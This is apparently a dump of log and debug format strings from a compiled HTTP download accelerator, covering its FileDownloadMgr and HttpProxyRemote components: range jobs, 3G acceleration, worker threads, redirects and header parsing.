[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)
[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***
[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d
[ACCELINFO::OnDeserialize] ___Error get URL
[FileDownloadMgr::AddRequest] FDM=%d
[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...
[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue
[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.
[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.
[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.
[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.
[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.
[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)
[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d
[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)
************ URL: %.800s ************
************ End: d:d:d::d ************
************ Start: d:d:d::d ************
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d
[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::Stop] FDM=%d - All connections where closed.
[FileDownloadMgr::Stop] FDM=%d - Closing all connections.
[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.
[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.
[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.
[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.
[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.
[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.
[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.
[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...
[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.
[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d
[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request
[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.
[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!
[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---
[FileDownloadMgr::RecoverFailedDownload] FDM=%d
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet
[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range
[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid
[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld
?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s
JsDriver.exe
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.
[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld
[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d
[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range
[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification
[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received
[~FileDownloadMgr] FDM=%d - Leave
[~FileDownloadMgr] FDM=%d - Enter
[FileDownloadMgr] FDM=%d
[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d
[FileDownloadMgr] FDM=%d, StartCachingSize: %d
[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration
[FileDownloadMgr] FDM=%d ___Error invalid Config
[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr
[FileDownloadMgr::DownloadCacheData] FDM=%d
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence
[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request
[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...
[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---
[FileDownloadMgr::Work] FDM=%d - Exit thread now...
[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###
[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[HttpProxyRemote - %p] FDM=%d (%d).
[~HttpProxyRemote - %p] FDM=%d (%d).
[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld
[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!
[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.
[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.
[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.
[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld
[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld
[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d
[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo
[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld
[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).
HttpProxyRemote::WriteCachedBufferToSocket
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.
HttpProxyRemote::ConnectToDomain
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d
[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !
[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.
[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d
[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d
[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state
[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.
[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.
[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)
